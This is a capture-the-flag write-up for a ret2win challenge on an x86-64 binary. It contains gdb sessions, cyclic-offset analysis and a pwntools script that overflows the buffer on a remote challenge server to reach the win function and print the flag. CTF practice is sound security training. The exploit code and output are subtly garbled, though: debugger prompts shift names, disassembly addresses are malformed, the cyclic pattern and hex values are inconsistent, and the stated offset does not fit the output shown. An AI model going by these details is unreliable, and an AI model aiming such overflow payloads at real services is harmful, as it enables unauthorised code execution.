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To get the flag, you need to perform a ret2win

I used gdb to analyze the binary file

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[kali@whiterabbit:~]$
$ gdb binary
GNU gdb (Debian 16.2-2) 16.2
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Usage: (gdb) <command> <address> <command> and/or shell commands. Type pandbg [--shell | --all] [filter] For a list.
pandbg: created $base, $size, $ida GDB functions (can be used with print/break)
Reading symbols from binary...
(No debugging symbols found in binary)

----- tip of the day (disable with set show-tips off) -----
Use the telescope command to dereference a given address/pointer multiple times (if the dereferenced value is a valid ptr; see config telescope to configure its behavior)
pandbg: info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 fread@plt
0x0000000000401050 fclose@plt
0x0000000000401060 printf@plt
0x0000000000401070 gets@plt
0x0000000000401080 setvbuf@plt
0x0000000000401090 fopen@plt
0x00000000004010a0 _start
0x00000000004010d0 __dl_relocate_static_pie
0x00000000004010e0 deregister_tm_clones
0x0000000000401110 register_tm_clones
0x0000000000401150 __do_global_ctors_aux
0x0000000000401160 frame_dummy
0x0000000000401180 win
0x0000000000401228 main
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Let's disassemble the win function and get start/ret addresses

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dump: assembler code for function win:
0x000000000001186:      push    rbp
0x000000000001187:      mov     rbp,rsp
0x00000000000118a:      sub     rsp,0x30
0x00000000000118e:      mov     QWORD PTR [rbp-0x30],0x0
0x000000000001196:      mov     QWORD PTR [rbp-0x20],0x0
0x00000000000119e:      mov     QWORD PTR [rbp-0x20],0x0
0x0000000000011a6:      mov     QWORD PTR [rbp-0x10],0x0
0x0000000000011aa:      mov     DWORD PTR [rbp-0x11],0x0
0x0000000000011b5:      lea     rax,[rip+0xe68]          # 0x402084
0x0000000000011bc:      mov     rdi,rax
0x0000000000011bf:      call    0x401030 <puts@plt>
0x0000000000011c4:      lea     rax,[rip+0x35]          # 0x402088
0x0000000000011cb:      mov     rsi,rax
0x0000000000011cc:      lea     rax,[rip+0x35]          # 0x40208a
0x0000000000011d5:      mov     rdi,rax
0x0000000000011d8:      call    0x401090 <fopen@plt>
0x0000000000011dd:      mov     QWORD PTR [rbp-0x6],rax
0x0000000000011e1:      mov     rax,QWORD PTR [rbp-0x6]
0x0000000000011e5:      lea     rax,[rbp-0x30]
0x0000000000011e9:      mov     rcx,rax
0x0000000000011ec:      mov     edx,0x1e
0x0000000000011f1:      mov     esi,0x1
0x0000000000011f6:      mov     rdi,rax
0x0000000000011f9:      call    0x401040 <fread@plt>
0x0000000000011fe:      lea     rax,[rbp-0x30]
0x000000000001202:      mov     rsi,rax
0x000000000001205:      lea     rax,[rip+0xe67]          # 0x402013
0x000000000001208:      mov     rdi,rax
0x00000000000120f:      mov     eax,0x0
0x000000000001214:      call    0x401060 <printf@plt>
0x000000000001219:      mov     rax,QWORD PTR [rbp-0x6]
0x00000000000121d:      mov     rdi,rax
0x000000000001220:      call    0x401050 <fclose@plt>
0x000000000001225:      nop
0x000000000001226:      leave
0x000000000001227:      ret

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Start address: 0x0000000000401186

Ret address:

0x0000000000401227

The next step is to get the offset, for this we create a payload of 100 characters using cyclic to overflow the buffer

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gndbg> cyclic 100
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafaaaaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa
gndbg> r
Starting program: /home/kali/binary
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa
Hello, aaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS / show-flags off / show-compact-regs off ]

RAX 0x0
RBX 0x7fffffffde08 -> 0x7fffffffef1f <- '/home/kali/binary'
RCX 0x0
RDX 0x0
RDI 0x7fffffffdb00 -> 0x7fffffffdb30 <- 'Hello, aaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa!\n'
RSI 0x7fffffffdb30 <- 'Hello, aaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa!\n'
R8 0x73
R9 0xffffffff
R10 0x0
R11 0x202
R12 0x0
R13 0x7fffffffde18 -> 0x7fffffffef1a1 <- 'NMAP_PRIVILEGED='
R14 0x7ffff7fffd000 (_ntld_global) -> 0x7ffff7ffe2e0 <- 0x0
R15 0x403e00 (__do_global_dtors_aux_fini_array_entry) -> 0x401150 (__do_global_dtors_aux) <- endbr64
RBP 0x6163616161616161 ('aaaaaca')
RSP 0x7ffffffdcf8 <- 'aaaaaaaaaaaaaaaaaaaaaaaafaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaaaaaaKaaaaaaaLaaaaaaaaaaa'
RIP 0x4012ac (main+132) <- ret

[ DISASM / x86-64 / set emulate on ]
> 0x4012ac <main+132>    ret     <0x6164616161616161>

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The address **0x61646161616161616161** has been obtained, now we can find out the offset.

```
h4mdbg> cyclic -l 0x6164616161616161
Finding cyclic pattern of 8 bytes: b'aaaaada' (hex: 0x61616161616461)
Found at offset 18
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Offset: **18**

I wrote the following code to get the flag

```
# import pwntools
from pwn import *
p = remote("chals.swampctf.com", 40001)
offset = 18
payload = b'A' * offset
# ret add
payload += p64(0x00000000000401227)
# start add
payload += p64(0x00000000000401186)
p.sendline(payload)
p.interactive()
```

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(kali@whiterobber)-[~]
└─$ python3 pwn2.py
[*] Opening connection to chals.swampctf.com on port 40001: Done
[*] Switching to interactive mode
Hello, AAAAAAAAAAAAAAAAAA\x12@!
win
Here is your flag! swampCTF{1t5_t1m3_t0_r3turn!!}
$
[*] Got EOF while reading in interactive
$
[*] Closed connection to chals.swampctf.com port 40001
[*] Got EOF while sending in interactive
```

Flag: **swampCTF{1t5_t1m3_t0_r3turn!!}**